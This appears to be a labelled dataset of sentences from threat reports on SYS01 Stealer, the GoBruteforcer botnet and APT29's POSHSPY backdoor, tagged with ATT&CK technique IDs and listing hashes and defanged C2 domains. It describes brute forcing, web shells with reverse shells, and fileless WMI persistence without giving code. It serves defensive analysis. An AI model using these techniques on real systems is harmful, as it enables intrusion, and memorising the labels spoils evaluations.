{"sentence": "And malicious payloads are also sometimes encrypted/packed or obfuscated until loaded into runtime memory, which detection-based tools struggle to effectively scan.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The most effective way to secure runtime memory is with Moving Target Defense (MTD) technology.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "MTD morphs—randomizes—the runtime memory environment to create a dynamic attack surface and leaves decoy traps where targets used to be.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Any code that attempts to execute on a decoy is immediately terminated and trapped for forensic analysis.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The combination of detection-based tools with Moving Target Defense creates the most effective Defense-in-Depth against threats like SYS01 stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "To learn more, read the white paper: Zero Trust + Moving Target Defense: The Ultimate Ransomware Strategy. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Zip Files 01f76140374da14b72a8f1e648cb8f46590419cddd56bc089e67f38cee767735 7f54dc5ddab4de19c5ad7c7b6d4398bd07d97504cdedabc398a6d6db52fe9875 bad4de1c398954b9c381d91fee52607b78e1c65bd9f38c3e82a307e236a76223 2c58bfbf8d274434e3307a76a37720d09387978e8e401780048992ea21fd222b c81175d56aa006ad140799e39c800306b439ea98b9efc4491c269eccbfeebd4e c636ed3b0ca558a92687f60f0b37c0e44ff3a6d4f15acd3cfb858fee4b0b0916 833b871f342ba7b0e852363ed123682b99588888f01567e56942889d886bb4b2 daba97a67f219443ef4b0a39e2d051179d20de6a2febb927bec4108dcac1b3a6 5698feaacd122f75d69ed1d9a561ab7210051031e821b934b3022d48a185443b f58b9794f5b973625551333f469878c1df65302733f9a3e9a214e3739cee09bf Inno-Setup Installers 3416982484faefb7b0092cc639039863e52a9aa6ba0a277f943216a398dd0f8b 804f137c4253241cdcbbe8cd59181f0621cbd26bb8a78163b8bc0461d5f3bafb 20a1c15d016a2d11659a74ae9e23e57020a4023df4c9f8c0357a38b69eddfa08 14fe2d1d1df11d887f5c53a78af6e1885928aa9256b79cd365f2c1d39397c2f4 25a5422f4a4a1d11b242730adbce06673cefee533da62a8ddef93e0074a3ba75 7d64de081057d18b1503854386a351a76caac9d71aada177373ef77b597a4f06 C&C caseiden[.]com graeslavur[.]com rapadtrai[.]com baglamanotalari[.]comoscarnaija[.]com makananwisata[.]com seleriti[.]com seemlabie[.]top craceruib[.]topmahinetain[.]top", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary Unit 42 researchers recently discovered a new sample of Golang-based malware.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We have dubbed it GoBruteforcer, and it targets web servers, specifically those running phpMyAdmin, MySQL, FTP and Postgres services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The sample was originally captured from our Next-Generation Firewall.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Upon further research, we found that the malware was hosted on a legitimate website.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Further investigation revealed that the attacker hosted binaries for x86, x64 and ARM processor architectures.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We also discovered that GoBruteforcer had deployed an internet relay chat (IRC) bot on the victim server, which communicates with the attacker’s server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "This blog details information collected based on a static overview of the GoBruteforcer attack chain components.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "For successful execution, the samples require special conditions on the victim system like specific arguments being used and targeted services already being installed (with weak passwords).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Palo Alto Networks customers receive protections from malware families like GoBruteforcer and its malicious components with Cortex XDR or the Next-Generation Firewall with cloud-delivered security services including WildFire and Advanced Threat Prevention.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Alongside this, Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Table of Contents IntroductionScanning and System AccessFor the phpMyAdmin ServiceIRC Bot DeploymentFor MySQL and Postgres ServicesFor the FTP ServicePostResult Module and Web Shell ConnectionGoBruteforcer Makes AdvancesConclusionIndicators of Compromise Introduction Go programming language, also known as Golang, is a newer language that’s becoming more popular with malware programmers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "It has proven to be versatile enough to develop all kinds of malware, including ransomware, stealers or remote access trojans (RATs).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Golang-based botnets in particular seem to be gaining the interest of threat actors.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer is a new kind of botnet malware that is written in Golang and targets web servers, specifically those running phpMyAdmin, MySQL, FTP and Postgres services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer chose a Classless Inter-Domain Routing (CIDR) block for scanning the network during the attack, and it targeted all IP addresses within that CIDR range.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The threat actor chose CIDR block scanning as a way to get access to a wide range of target hosts on different IPs within a network instead of using a single IP address as a target.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Once a host is found, GoBruteforcer tries to get access to the server via brute force.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "After achieving access, GoBruteforcer deploys an IRC bot containing the attacker’s URL.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Later, GoBruteforcer also tries to query the victim system using a PHP web shell.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We found that this web shell was already deployed onto the victim server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Figure 1 depicts this attack flow.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer attack chain.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The cache_init file highlighted in Figure 2 is the GoBruteforcer malware we found hosted in the /.x/ directory of the targeted server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The initial vector of the GoBruteforcer and the PHP web shell campaign is not known yet.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We have notified the victim about the malicious GoBruteforcer binaries hosted on their site. Figure 2.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer hosted on a victim server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The GoBruteforcer malware hashes we found mainly targeted Unix-like (*nix) platforms, with versions for x86, x64 and ARM architectures.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "It seems likely that this is their OS of choice because *nix operating systems are a popular choice for hosting servers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We’ve seen this malware remotely deploy a variety of different types of malware as payloads, including coinminers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We believe that GoBruteforcer is in active development, and as such, things like initial infection vectors or payloads could change in the near future.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Scanning and System Access The GoBruteforcer malware samples are packed with UPX Packer.", "labels": ["T1027"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Upon unpacking a sample (SHA256 ebe11121aafdac5d8f2eecba710ba85efa31617a5eb825ba2e89e23379b26b84), we observed that GoBruteforcer has a multiscan module (shown in Figure 3) it uses to scan for the hosts inside a CIDR for its attack.", "labels": ["T1027"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer multiscan function.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "On the target IP address, the malware starts scanning for phpMyAdmin, MySQL, FTP and Postgres services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The attacker has defined separate scanning modules against all the aforementioned services, as shown in Figure 4. Figure 4.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Modules inside GoBruteforcer for scanning different services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Inside the modules, the malware first checks if the port belonging to the service is open.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "For this, the port scan module (shown in Figure 5) is called inside every scanning module.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Portscan function (present inside every scanning module).For the phpMyAdmin Service When scanning for phpMyAdmin services, if the target port (port 80) is open, the GoBruteforcer malware tries to login and get access to the victim server via brute force.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "To do this, the malware uses a set of credentials that is hard coded into the malware binary, as shown in Figure 6. Figure 6.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Hard-coded credentials for brute forcing.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "IRC Bot Deployment Upon successful login via phpMyAdmin service into the victim server, GoBruteforcer deploys and executes an IRC bot on the victim server.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The files fb5 and ab5 are IRC bots compiled for x86_64 and ARM architectures respectively, as shown in Figures 7 and 8.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer deploying IRC bot for x86-supported platforms.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer deploying IRC bot for ARM-supported platforms.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Later, the malware starts communication between the command and control channel (C2) and the victim server via the IRC bot, as shown in Figure 9. Figure 9.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Victim and C2 communication via IRC bot.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Additionally, the IRC bot also registers itself inside cron for recurring execution. Figure 10.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "IRC registering itself in cron.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "For MySQL and Postgres Services When scanning for MySQL and Postgres services, the GoBruteforcer malware first checks whether ports 3306 and 5432 are open.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "If the malware finds the ports open, then the malware tries to ping the host’s database with a certain username and password.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "(Figures 11 and 12 show this activity, and you can also refer to the following post on the Golang Issues forum for more information).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "After that, the malware calls the PostResult module, which will be discussed in greater detail in the later section, PostResult Module and Web Shell Connection.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "MySql ping done by GoBruteforcer malware.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Postgres ping done by GoBruteforcer malware.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "For the FTP Service When scanning for FTP services, GoBruteforcer checks whether port 21 is open.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "If the malware finds it open, it tries to authenticate to the server (as shown in Figure 13) using the goftp library, which is an FTP client package for Golang.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "FTP login attempt.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Upon successful authentication to the victim server, the malware calls the PostResult module.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "PostResult Module and Web Shell Connection Inside GoBruteforcer's PostResult module, which is called after every service scanning module, we observed a hard coded link (query) as shown in Figure 14. Figure 14.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Hard coded link found inside GoBruteforcer binary.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "On further investigation into the directories within the victim IP address, we found a web shell named x, (http[:]//victim-ip/x) with SHA256 de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "This web shell seemed similar to the pst.php PHP file (SHA256 602129f00bb002f07db07affa78d46f67bd0b2c8fb0867ea2da5fc3e73dd2665) associated with http[:]//5.253.[.]84[.]159 (see Figure 15).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The PHP web shell had reverse shell and bind shell capabilities, as shown in Figure 15. Figure 15.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Bind shell and reverse shell capabilities inside webshell.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Along with these capabilities, the web shell also has a packet crafter (shown in Figure 16) having the options for input like host, start, end port and timeouts for connection and the stream.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "This gives the attacker the ability to gain more insight into the targeted network. Figure 16.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Simple packet crafter capabilities inside web shell.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer Makes Advances During our hunt for the samples related to GoBruteforcer campaign, we found another sample (SHA256 acc705210814ff5156957c028a8d6544deaca0555156504087fdc61f015d6834).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "This is possibly an older version of the GoBruteforcer family that only targeted the phpMyAdmin service in order to infect web servers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The sample was uploaded on VirusTotal some months ago and had 0 detections, as shown in Figure 17. Figure 17.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "VirusTotal detection: older version of GoBruteforcer.Conclusion Web servers have always been a lucrative target for threat actors.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Weak passwords could lead to serious threats as web servers are an indispensable part of an organization.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Malware like GoBruteforcer takes advantage of weak (or default) passwords.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The GoBruteforcer bot comes with a multiscan capability, which gives it a wide range of targets that it can use to get into a network.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer also seems to be in active development, so attackers could change the techniques they use to target web servers in the near future.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Alongside this, Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs. Indicators of Compromise Hashes de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b Web shell 602129f00bb002f07db07affa78d46f67bd0b2c8fb0867ea2da5fc3e73dd2665 Web shell acc705210814ff5156957c028a8d6544deaca0555156504087fdc61f015d6834 Older version of GoBruteforcer 426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 IRC bot(x86) 726ccd223a1cfb60fc6c3b48ea3dbf057da918efac5acf620cd026ee38fb0044 IRC bot(ARM) 526767fbb26c911601371745d603885b75deabcc18261ed2d5a509d58f95d28e GoBruteforcer (x86_64) dd3555025957cd51cd048d920027a0ff2d5501bc85792529217d54086e9351c2 GoBruteforcer (x86_64) df7dc0fe7e90a2414ac188c55d06ad3882cfc7394869c9ffa549fb1ddb304919 GoBruteforcer (x86_64) ebe11121aafdac5d8f2eecba710ba85efa31617a5eb825ba2e89e23379b26b84 GoBruteforcer (x86_64) 5548935e7c6cf3b38240a0579cac36906e9883a1ec5e85335609e9e2062588c5 GoBruteforcer ARM(64-bit) 5627b138bc857081d2251edd7eb3b68cbd58dfff2f51b7cd34c893fffff2cfab GoBruteforcer ARM(64-bit) 5c1d3fb43e9e35b835e62e05a7b97ed66ab132eab35bfc18ce543e8f58ccf5e2 GoBruteforcer ARM(32-bit) 7c27ac0daba19de227fcc467abfcdefa99426c768a3601b1b181e9741717665b GoBruteforcer (x86) URL and IP 5.253[.]84[.]159/x fi[.]warmachine[.]su Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "POSHSPY leverages two of the tools the group frequently uses: PowerShell and Windows Management Instrumentation (WMI).", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "In the investigations Mandiant has conducted, it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "POSHSPY makes the most of using built-in Windows features – so-called “living off the land” – to make an especially stealthy backdoor.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Every aspect of POSHSPY is efficient and covert.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Later in that same engagement, the attacker updated the deployment of the backdoor to use WMI for storage and persistence.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "We first discussed APT29’s use of this backdoor as part of our “No Easy Breach” talk.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI provides many administrative capabilities on local and remote systems, including querying system information, starting and stopping processes, and setting conditional triggers.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI can be accessed using a variety of tools, including the Windows WMI Command-line (wmic.exe), or through APIs accessible to programming and scripting languages such as PowerShell.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Windows system WMI data is stored in the WMI common information model (CIM) repository, which consists of several files in the System32\\wbem\\Repository directory.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI classes are the primary structure within WMI.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI classes can contain methods (code) and properties (data).", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Users with sufficient system-level privileges can define custom classes or extend the functionality of the many default classes.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI permanent event subscriptions can be used to trigger actions when specified conditions are met.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Attackers often use this functionality to persist the execution of backdoors at system start up.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "A FilterToConsumerBinding associates Consumers to Filters.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Creating a WMI permanent event subscription requires administrative privileges on a system.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "We have observed APT29 use WMI to persist a backdoor and also store the PowerShell backdoor code.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "To store the code, APT29 created a new WMI class and added a text property to it in order to store a string value.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "APT29 then created a WMI event subscription in order to execute the backdoor.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property.", "labels": ["T1140"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This allowed them to install a persistent backdoor without leaving any artifacts on the system’s hard drive, outside of the WMI repository.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This “fileless” backdoor methodology made the identification of the backdoor much more difficult using standard host analysis techniques.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "In one instance, APT29 created a Filter named BfeOnServiceStartTypeChange (Figure 1), which they configured to execute every Monday, Tuesday, Thursday, Friday, and Saturday at 11:33 am local time.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Figure 1: “BfeOnServiceStartTypeChange” WMI Query Language (WQL) filter condition", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The BfeOnServiceStartTypeChange Filter was bound to the CommandLineEventConsumer WindowsParentalControlsMigration.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The WindowsParentalControlsMigration consumer was configured to silently execute a base64-encoded PowerShell command.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor payload stored in the HiveUploadTask text property of the RacTask class.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The PowerShell command contained the payload storage location and encryption keys.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Figure 2 displays the command, called the “CommandLineTemplate”, executed by the WindowsParentalControlsMigration consumer.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Figure 2: WindowsParentalControlsMigration", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "CommandLineTemplate Figure 3 contains the decoded PowerShell command from the “CommandLineTemplate.” Figure 3: Decoded CommandLineTemplate PowerShell code POSHSPY PowerShell Component The full code for a POSHSPY sample is available here.", "labels": ["T1140"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The POSHSPY backdoor is designed to download and execute additional PowerShell code and Windows binaries.", "labels": ["T1105"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The backdoor contains several notable capabilities, including: 1.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Downloading and executing PowerShell code as an EncodedCommand 2.", "labels": ["T1027", "T1105"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Writing executables to a randomly-selected directory under Program Files, and naming the EXE to match the chosen directory name, or, if that fails, writing the executable to a system-generated temporary file name, using the EXE extension 3.", "labels": ["T1036.005"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Modifying the Standard Information timestamps (created, modified, accessed) of every downloaded executable to match a randomly selected file from the System32 directory that was created prior to 2013 4.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Encrypting communications using AES and RSA public key cryptography 5.", "labels": ["T1573.001"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions 6.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Using a custom User Agent string or the system's User Agent string derived from urlmon.dll 7.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Using either custom cookie names and values or randomly-generated cookie names and values for each network connection 8.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Uploading data in 2048-byte chunks 9.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
